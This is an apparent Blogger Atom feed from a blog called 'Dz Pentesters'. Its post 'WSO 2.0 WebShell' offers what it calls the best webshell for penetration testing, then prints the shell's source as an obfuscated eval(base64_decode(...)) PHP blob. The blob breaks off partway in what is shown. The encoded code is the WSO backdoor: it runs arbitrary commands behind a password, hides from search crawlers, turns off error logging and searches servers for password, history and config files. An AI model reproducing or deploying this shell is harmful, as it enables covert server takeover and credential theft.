<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3476505312538354043</id><updated>2024-09-12T04:15:32.494-07:00</updated><title type='text'>Dz Pentesters</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://dz-pentesters.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3476505312538354043/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://dz-pentesters.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>hmimedtxb</name><uri>http://www.blogger.com/profile/04160108120104762378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>6</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3476505312538354043.post-7922652221434981976</id><published>2012-10-01T02:17:00.001-07:00</published><updated>2012-10-01T02:17:24.134-07:00</updated><title type='text'>WSO 2.0 WebShell</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Hi all;&lt;br /&gt;
in this article im gonna give you the best webshell for penetration testing .&lt;br /&gt;
Source Code:&lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------------------------------------------------------------------------------&amp;lt;?&lt;br /&gt;eval(base64_decode(&quot;JGF1dGhfcGFzcyA9ICJjYjQ0YWNjODgwMGIyYjNiOTcwNzlkOTA4ZThhNzE1ZiI7&lt;br /&gt;CiRjb2xvciA9ICIjZGY1IjsKJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsK&lt;br /&gt;JGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dp&lt;br /&gt;bmRvd3MtMTI1MSc7CgppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VO&lt;br /&gt;VCddKSkgewogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJw&lt;br /&gt;IiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIp&lt;br /&gt;OwogICAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2Vu&lt;br /&gt;dHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewogICAg&lt;br /&gt;ICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgICAgIGV4&lt;br /&gt;aXQ7CiAgICB9Cn0KCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwpAaW5pX3Nl&lt;br /&gt;dCgnbG9nX2Vycm9ycycsMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUn&lt;br /&gt;LDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRp&lt;br /&gt;bWUoMCk7CkBkZWZpbmUoJ1dTT19WRVJTSU9OJywgJzIuNScpOwoKaWYoZ2V0X21h&lt;br /&gt;Z2ljX3F1b3Rlc19ncGMoKSkgewoJZnVuY3Rpb24gV1NPc3RyaXBzbGFzaGVzKCRh&lt;br /&gt;cnJheSkgewoJCXJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdX&lt;br /&gt;U09zdHJpcHNsYXNoZXMnLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7&lt;br /&gt;Cgl9CgkkX1BPU1QgPSBXU09zdHJpcHNsYXNoZXMoJF9QT1NUKTsKICAgICRfQ09P&lt;br /&gt;S0lFID0gV1NPc3RyaXBzbGFzaGVzKCRfQ09PS0lFKTsKfQoKZnVuY3Rpb24gd3Nv&lt;br /&gt;TG9naW4oKSB7CglkaWUoIjxwcmUgYWxpZ249Y2VudGVyPjxmb3JtIG1ldGhvZD1w&lt;br /&gt;b3N0PlBhc3N3b3JkOiA8aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3M+PGlu&lt;br /&gt;cHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwvcHJlPiIpOwp9Cgpm&lt;br /&gt;dW5jdGlvbiBXU09zZXRjb29raWUoJGssICR2KSB7CiAgICAkX0NPT0tJRVska10g&lt;br /&gt;PSAkdjsKICAgIHNldGNvb2tpZSgkaywgJHYpOwp9CgppZighZW1wdHkoJGF1dGhf&lt;br /&gt;cGFzcykpIHsKICAgIGlmKGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAobWQ1KCRf&lt;br /&gt;UE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzKSkKICAgICAgICBXU09zZXRjb29r&lt;br /&gt;aWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICRhdXRoX3Bhc3MpOwoKICAg&lt;br /&gt;IGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSld&lt;br /&gt;KSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICRh&lt;br /&gt;dXRoX3Bhc3MpKQogICAgICAgIHdzb0xvZ2luKCk7Cn0KCmlmKHN0cnRvbG93ZXIo&lt;br /&gt;c3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikKCSRvcyA9ICd3aW4nOwplbHNl&lt;br /&gt;Cgkkb3MgPSAnbml4JzsKCiRzYWZlX21vZGUgPSBAaW5pX2dldCgnc2FmZV9tb2Rl&lt;br /&gt;Jyk7CmlmKCEkc2FmZV9tb2RlKQogICAgZXJyb3JfcmVwb3J0aW5nKDApOwoKJGRp&lt;br /&gt;c2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7&lt;br /&gt;CiRob21lX2N3ZCA9IEBnZXRjd2QoKTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKQoJ&lt;br /&gt;QGNoZGlyKCRfUE9TVFsnYyddKTsKJGN3ZCA9IEBnZXRjd2QoKTsKaWYoJG9zID09&lt;br /&gt;ICd3aW4nKSB7CgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRo&lt;br /&gt;b21lX2N3ZCk7CgkkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsK&lt;br /&gt;fQppZigkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycpCgkkY3dkIC49ICcvJzsK&lt;br /&gt;CmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAu&lt;br /&gt;ICdhamF4J10pKQogICAgJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1Qn&lt;br /&gt;XSkgLiAnYWpheCddID0gKGJvb2wpJGRlZmF1bHRfdXNlX2FqYXg7CgppZigkb3Mg&lt;br /&gt;PT0gJ3dpbicpCgkkYWxpYXNlcyA9IGFycmF5KAoJCSJMaXN0IERpcmVjdG9yeSIg&lt;br /&gt;PT4gImRpciIsCiAgICAJIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9&lt;br /&gt;PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiAgICAJIkZpbmQgKmNvbmZpZyou&lt;br /&gt;cGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBo&lt;br /&gt;cCIsCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAt&lt;br /&gt;YW4iLAogICAgCSJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQi&lt;br /&gt;LAogICAgCSJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAogICAgCSJTaG93&lt;br /&gt;IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKCQkiQVJQIFRhYmxlIiA9PiAiYXJw&lt;br /&gt;IC1hIiwKCQkiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCgkp&lt;br /&gt;OwplbHNlCgkkYWxpYXNlcyA9IGFycmF5KAogIAkJIkxpc3QgZGlyIiA9PiAibHMg&lt;br /&gt;LWxoYSIsCgkJImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25k&lt;br /&gt;IGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiAgCQkic2hv&lt;br /&gt;dyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVu&lt;br /&gt;IiwKICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLAoJCSJGaW5k&lt;br /&gt;IiA9PiAiIiwKICAJCSJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10&lt;br /&gt;eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgCQkiZmluZCBzdWlkIGZpbGVzIGlu&lt;br /&gt;IGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1s&lt;br /&gt;cyIsCiAgCQkiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBm&lt;br /&gt;IC1wZXJtIC0wMjAwMCAtbHMiLAogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJy&lt;br /&gt;ZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAog&lt;br /&gt;IAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUg&lt;br /&gt;ZiAtbmFtZSBjb25maWcuaW5jLnBocCIsCiAgCQkiZmluZCBjb25maWcqIGZpbGVz&lt;br /&gt;IiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogIAkJImZp&lt;br /&gt;bmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlw&lt;br /&gt;ZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAJCSJmaW5kIGFsbCB3cml0YWJsZSBm&lt;br /&gt;b2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAogIAkJ&lt;br /&gt;ImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQg&lt;br /&gt;ZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsCiAgCQkiZmluZCBhbGwgc2Vy&lt;br /&gt;dmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNl&lt;br /&gt;LnB3ZCIsCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRp&lt;br /&gt;ciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAJCSJm&lt;br /&gt;aW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFt&lt;br /&gt;ZSAuaHRwYXNzd2QiLAogIAkJImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJl&lt;br /&gt;bnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAJ&lt;br /&gt;CSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBl&lt;br /&gt;IGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCAuYmFzaF9oaXN0b3J5&lt;br /&gt;IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUg&lt;br /&gt;LmJhc2hfaGlzdG9yeSIsCiAgCQkiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVz&lt;br /&gt;IiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAJCSJm&lt;br /&gt;aW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQg&lt;br /&gt;LiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCgkJIkxvY2F0ZSIgPT4gIiIs&lt;br /&gt;CiAgCQkibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQu&lt;br /&gt;Y29uZiIsCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2&lt;br /&gt;aG9zdHMuY29uZiIsCgkJImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJs&lt;br /&gt;b2NhdGUgcHJvZnRwZC5jb25mIiwKCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVz&lt;br /&gt;IiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwKCQkibG9jYXRlIG15LmNvbmYgZmls&lt;br /&gt;ZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsCgkJImxvY2F0ZSBhZG1pbi5waHAgZmls&lt;br /&gt;ZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAoJCSJsb2NhdGUgY2ZnLnBocCBmaWxl&lt;br /&gt;cyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKCQkibG9jYXRlIGNvbmYucGhwIGZpbGVz&lt;br /&gt;IiA9PiAibG9jYXRlIGNvbmYucGhwIiwKCQkibG9jYXRlIGNvbmZpZy5kYXQgZmls&lt;br /&gt;ZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsCgkJImxvY2F0ZSBjb25maWcucGhw&lt;br /&gt;IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLAoJCSJsb2NhdGUgY29uZmln&lt;br /&gt;LmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwKCQkibG9jYXRlIGNv&lt;br /&gt;bmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwKCQkibG9j&lt;br /&gt;YXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcu&lt;br /&gt;ZGVmYXVsdC5waHAiLAoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2Nh&lt;br /&gt;dGUgY29uZmlnIiwKCQkibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNv&lt;br /&gt;bmYnIiwKCQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwK&lt;br /&gt;CQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKCQkibG9j&lt;br /&gt;YXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsCgkJ&lt;br /&gt;ImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9o&lt;br /&gt;aXN0b3J5JyIsCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxv&lt;br /&gt;Y2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKCQkibG9jYXRlIC5mZXRjaG1haWxyYyBm&lt;br /&gt;aWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCgkJImxvY2F0ZSBiYWNr&lt;br /&gt;dXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwKCQkibG9jYXRlIGR1bXAgZmls&lt;br /&gt;ZXMiID0+ICJsb2NhdGUgZHVtcCIsCgkJImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAi&lt;br /&gt;bG9jYXRlIHByaXYiCgkpOwoKZnVuY3Rpb24gd3NvSGVhZGVyKCkgewoJaWYoZW1w&lt;br /&gt;dHkoJF9QT1NUWydjaGFyc2V0J10pKQoJCSRfUE9TVFsnY2hhcnNldCddID0gJEdM&lt;br /&gt;T0JBTFNbJ2RlZmF1bHRfY2hhcnNldCddOwoJZ2xvYmFsICRjb2xvcjsKCWVjaG8g&lt;br /&gt;IjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29u&lt;br /&gt;dGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAu&lt;br /&gt;ICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAi&lt;br /&gt;IC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPgo8c3R5bGU+CmJvZHl7YmFja2dyb3Vu&lt;br /&gt;ZC1jb2xvcjojNDQ0O2NvbG9yOiNlMWUxZTE7fQpib2R5LHRkLHRoeyBmb250OiA5&lt;br /&gt;cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2Nv&lt;br /&gt;bG9yOiNlMWUxZTE7IH0KdGFibGUuaW5mb3sgY29sb3I6I2ZmZjtiYWNrZ3JvdW5k&lt;br /&gt;LWNvbG9yOiMyMjI7IH0Kc3BhbixoMSxheyBjb2xvcjogJGNvbG9yICFpbXBvcnRh&lt;br /&gt;bnQ7IH0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQpoMXsgYm9yZGVyLWxl&lt;br /&gt;ZnQ6NXB4IHNvbGlkICRjb2xvcjtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQg&lt;br /&gt;VmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQpkaXYu&lt;br /&gt;Y29udGVudHsgcGFkZGluZzogNXB4O21hcmdpbi1sZWZ0OjVweDtiYWNrZ3JvdW5k&lt;br /&gt;LWNvbG9yOiMzMzM7IH0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KYTpob3Zl&lt;br /&gt;cnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQoubWwxeyBib3JkZXI6MXB4&lt;br /&gt;IHNvbGlkICM0NDQ7cGFkZGluZzo1cHg7bWFyZ2luOjA7b3ZlcmZsb3c6IGF1dG87&lt;br /&gt;IH0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjMwMHB4OyB9CmlucHV0LHRl&lt;br /&gt;eHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNv&lt;br /&gt;bG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAkY29sb3I7IGZvbnQ6IDlwdCBNb25v&lt;br /&gt;c3BhY2UsJ0NvdXJpZXIgTmV3JzsgfQpmb3JteyBtYXJnaW46MHB4OyB9CiN0b29s&lt;br /&gt;c1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KLnRvb2xzSW5weyB3aWR0aDogMzAw&lt;br /&gt;cHggfQoubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjoj&lt;br /&gt;NWU1ZTVlO30KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVl&lt;br /&gt;fQoubDF7YmFja2dyb3VuZC1jb2xvcjojNDQ0fQoubDJ7YmFja2dyb3VuZC1jb2xv&lt;br /&gt;cjojMzMzfQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQo8L3N0&lt;br /&gt;eWxlPgo8c2NyaXB0PgogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJz&lt;br /&gt;KCRHTE9CQUxTWydjd2QnXSkgLiAiJzsKICAgIHZhciBhXyA9ICciIC4gaHRtbHNw&lt;br /&gt;ZWNpYWxjaGFycyhAJF9QT1NUWydhJ10pIC4iJwogICAgdmFyIGNoYXJzZXRfID0g&lt;br /&gt;JyIgLiBodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ2NoYXJzZXQnXSkgLiInOwog&lt;br /&gt;ICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9&lt;br /&gt;PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVP&lt;br /&gt;VEVTKSkgLiInOwogICAgdmFyIHAyXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsn&lt;br /&gt;cDInXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsn&lt;br /&gt;cDInXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIHAzXyA9ICciIC4gKChzdHJw&lt;br /&gt;b3MoQCRfUE9TVFsncDMnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNo&lt;br /&gt;YXJzKCRfUE9TVFsncDMnXSxFTlRfUVVPVEVTKSkgLiInOwogICAgdmFyIGQgPSBk&lt;br /&gt;b2N1bWVudDsKCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgewoJ&lt;br /&gt;CWlmKGEhPW51bGwpZC5tZi5hLnZhbHVlPWE7ZWxzZSBkLm1mLmEudmFsdWU9YV87&lt;br /&gt;CgkJaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1j&lt;br /&gt;XzsKCQlpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52&lt;br /&gt;YWx1ZT1wMV87CgkJaWYocDIhPW51bGwpZC5tZi5wMi52YWx1ZT1wMjtlbHNlIGQu&lt;br /&gt;bWYucDIudmFsdWU9cDJfOwoJCWlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7&lt;br /&gt;ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsKCQlpZihjaGFyc2V0IT1udWxsKWQubWYu&lt;br /&gt;Y2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNo&lt;br /&gt;YXJzZXRfOwoJfQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewoJ&lt;br /&gt;CXNldChhLGMscDEscDIscDMsY2hhcnNldCk7CgkJZC5tZi5zdWJtaXQoKTsKCX0K&lt;br /&gt;CWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlzZXQoYSxjLHAx&lt;br /&gt;LHAyLHAzLGNoYXJzZXQpOwoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsKCQlm&lt;br /&gt;b3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCQlwYXJhbXMgKz0g&lt;br /&gt;JyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50&lt;br /&gt;KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOwoJCXNyKCciIC4gYWRkc2xhc2hlcygk&lt;br /&gt;X1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOwoJfQoJZnVuY3Rp&lt;br /&gt;b24gc3IodXJsLCBwYXJhbXMpIHsKCQlpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0&lt;br /&gt;KQoJCQlyZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCQllbHNlIGlmICh3aW5k&lt;br /&gt;b3cuQWN0aXZlWE9iamVjdCkKCQkJcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01p&lt;br /&gt;Y3Jvc29mdC5YTUxIVFRQJyk7CiAgICAgICAgaWYgKHJlcSkgewogICAgICAgICAg&lt;br /&gt;ICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKICAg&lt;br /&gt;ICAgICAgICAgcmVxLm9wZW4oJ1BPU1QnLCB1cmwsIHRydWUpOwogICAgICAgICAg&lt;br /&gt;ICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNh&lt;br /&gt;dGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsKICAgICAgICAgICAgcmVxLnNl&lt;br /&gt;bmQocGFyYW1zKTsKICAgICAgICB9Cgl9CglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hh&lt;br /&gt;bmdlKCkgewoJCWlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQoJCQlpZihyZXEu&lt;br /&gt;c3RhdHVzID09IDIwMCkgewoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxc&lt;br /&gt;XGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOwoJCQkJdmFyIGFycj1yZWcuZXhl&lt;br /&gt;YyhyZXEucmVzcG9uc2VUZXh0KTsKCQkJCWV2YWwoYXJyWzJdLnN1YnN0cigwLCBh&lt;br /&gt;cnJbMV0pKTsKCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOwoJfQo8&lt;br /&gt;L3NjcmlwdD4KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1&lt;br /&gt;dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDow&lt;br /&gt;Oyc+Cjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9J2Rpc3BsYXk6bm9u&lt;br /&gt;ZTsnPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hPgo8aW5wdXQgdHlwZT1oaWRk&lt;br /&gt;ZW4gbmFtZT1jPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMT4KPGlucHV0IHR5&lt;br /&gt;cGU9aGlkZGVuIG5hbWU9cDI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgo8&lt;br /&gt;aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0Pgo8L2Zvcm0+IjsKCSRmcmVl&lt;br /&gt;U3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRvdGFs&lt;br /&gt;U3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkR0xPQkFMU1snY3dkJ10pOwoJJHRv&lt;br /&gt;dGFsU3BhY2UgPSAkdG90YWxTcGFjZT8kdG90YWxTcGFjZToxOwoJJHJlbGVhc2Ug&lt;br /&gt;PSBAcGhwX3VuYW1lKCdyJyk7Cgkka2VybmVsID0gQHBocF91bmFtZSgncycpOwoJ&lt;br /&gt;JGV4cGxpbmsgPSAnaHR0cDovL2V4cGxvaXQtZGIuY29tL3NlYXJjaC8/YWN0aW9u&lt;br /&gt;PXNlYXJjaCZmaWx0ZXJfZGVzY3JpcHRpb249JzsKCWlmKHN0cnBvcygnTGludXgn&lt;br /&gt;LCAka2VybmVsKSAhPT0gZmFsc2UpCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCdM&lt;br /&gt;aW51eCBLZXJuZWwgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDYpKTsKCWVsc2UKCQkk&lt;br /&gt;ZXhwbGluayAuPSB1cmxlbmNvZGUoJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVs&lt;br /&gt;ZWFzZSwwLDMpKTsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQn&lt;br /&gt;KSkgewoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKCQkkdWlkID0gQGdl&lt;br /&gt;dG15dWlkKCk7CgkJJGdpZCA9IEBnZXRteWdpZCgpOwoJCSRncm91cCA9ICI/IjsK&lt;br /&gt;CX0gZWxzZSB7CgkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlk&lt;br 